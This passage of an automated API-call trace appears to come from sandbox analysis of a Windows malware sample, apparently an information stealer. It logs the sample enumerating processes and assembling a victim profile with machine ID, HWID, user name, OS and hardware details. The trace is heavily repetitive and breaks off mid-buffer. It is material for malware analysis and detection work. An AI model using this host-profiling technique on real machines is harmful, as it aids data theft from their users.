csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- "
[0054.866] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- ", lpString2="womanboard.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe"
[0054.866] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe ["
[0054.866] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.866] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dad8
[0054.866] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.866] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [", lpString2="732" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732"
[0054.866] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n"
[0054.866] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1
[0054.867] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 